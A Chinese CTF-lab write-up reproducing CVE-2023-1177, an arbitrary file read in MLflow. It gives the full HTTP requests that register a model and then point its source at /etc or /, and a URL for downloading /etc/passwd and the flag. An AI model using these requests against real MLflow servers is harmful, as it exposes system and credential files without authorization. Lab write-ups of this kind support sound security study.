【春秋云镜】CVE-2023-1177(Mlflow任意文件读取)复现

目录

前言

漏洞复现


前言

第二篇CVE漏洞复现文章,欢迎各位师傅评论区讨论。


漏洞复现

        靶场网站如下图所示。

        构造POC,先把一个文件上传到/ajax-api/2.0/mlflow/registered-models/create文件下,文件的名称随意,这里以testfile1为例,POC内容如下:

POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
Host: x.x.x.x
Content-Type: application/json
Content-Length: 39

{"name": "testfile1"}

        POC复制到burpsuite的重发器里面发送,Host参数改成靶机地址,响应报文状态码为200时表示此文件以创建。

        然后在/ajax-api/2.0/mlflow/model-versions/create文件下上传需要读取的文件路径,POC如下所示,参数source用于指定要读取的文件所处的目录。

POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host: x.x.x.x
Content-Type: application/json
Content-Length: 36

{"name": "testfile1", "source": "/etc"}

        同样的,将Host参数改成靶机的网址后发送。

        访问http://x.x.x.x/#/model-versions/get-artifact?path=passwd&name=testfile1&version=1即可下载对应文件。这里要注意参数path的值和name的值,path为已上传目录下的文件名,name为之前已上传的文件的名称。要访问/etc/passwd下的文件,path就设置为passwd,name设置为testfile1,如下图所示。

        下载的文件直接用记事本打开,文件内容如下。

        要读取根目录下的文件,只需要在/ajax-api/2.0/mlflow/model-versions/create文件下修改POST请求参数source的值为“/”即可。

        后续步骤不再赘述,最后下载的flag内容如下。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值